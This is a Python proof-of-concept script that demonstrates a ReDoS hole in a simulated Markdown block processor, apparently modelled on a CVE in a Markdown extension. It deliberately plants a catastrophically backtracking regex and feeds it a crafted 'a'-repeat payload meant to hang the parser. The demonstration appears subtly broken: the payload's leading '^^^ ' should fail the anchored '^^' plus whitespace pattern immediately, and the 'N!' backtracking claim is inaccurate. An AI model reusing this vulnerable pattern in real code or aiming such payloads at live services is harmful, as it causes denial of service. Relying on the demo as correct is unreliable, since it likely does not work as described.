Vulnerable code sample

import markdown
import re
import time
from markdown.extensions import Extension
from markdown.blockprocessors import BlockProcessor

# This PoC demonstrates a ReDoS vulnerability similar to CVE-2025-68142.
# A vulnerable regex is used within a simulated markdown block processor.
# The regex exhibits "catastrophic backtracking" when processing a crafted payload.

class VulnerableCaptionProcessor(BlockProcessor):
    # This regex is a stand-in for the actual vulnerable pattern.
    # The '(([a-z]|\s)+)+' part creates an exponential number of paths for the
    # regex engine to check on certain inputs, causing the ReDoS.
    VULNERABLE_REGEX = re.compile(r'^\^\^\s+((([a-z]|\s)+)+)')

    def test(self, parent, block):
        # The vulnerability is triggered here during the test phase.
        # A malicious block will cause the regex search to hang.
        return self.VULNERABLE_REGEX.search(block)

    def run(self, parent, blocks):
        # This part of the processor would normally create the HTML.
        # For this PoC, we just need to consume the block.
        blocks.pop(0)
        return True

class VulnerablePymdownExtension(Extension):
    def extendMarkdown(self, md):
        # Register the vulnerable block processor.
        md.parser.blockprocessors.register(
            VulnerableCaptionProcessor(md.parser), 'vulnerable_caption', 105
        )

# This payload is designed to exploit the ReDoS in the VULNERABLE_REGEX.
# It consists of a repeating character 'a' that fits '([a-z]|\s)+',
# followed by a '!' which causes the final match to fail.
# The failure forces the regex engine to backtrack through all N! possible
# combinations, leading to a long hang.
payload = "a" * 28 + "!"
malicious_markdown_content = f"^^^ {payload}"

print(f"Processing malicious markdown with payload of length {len(payload)}...")
print("The program will now hang for several seconds...")

start_time = time.time()

# This is the function call that will trigger the vulnerability and hang.
markdown.markdown(
    malicious_markdown_content,
    extensions=[VulnerablePymdownExtension()]
)

end_time = time.time()
duration = end_time - start_time

print(f"Processing finally completed after {duration:.2f} seconds.")
if duration > 2.0:
    print("\nVulnerability successfully demonstrated: The hang was significant.")
else:
    print("\nDemonstration failed: Processing was too fast.")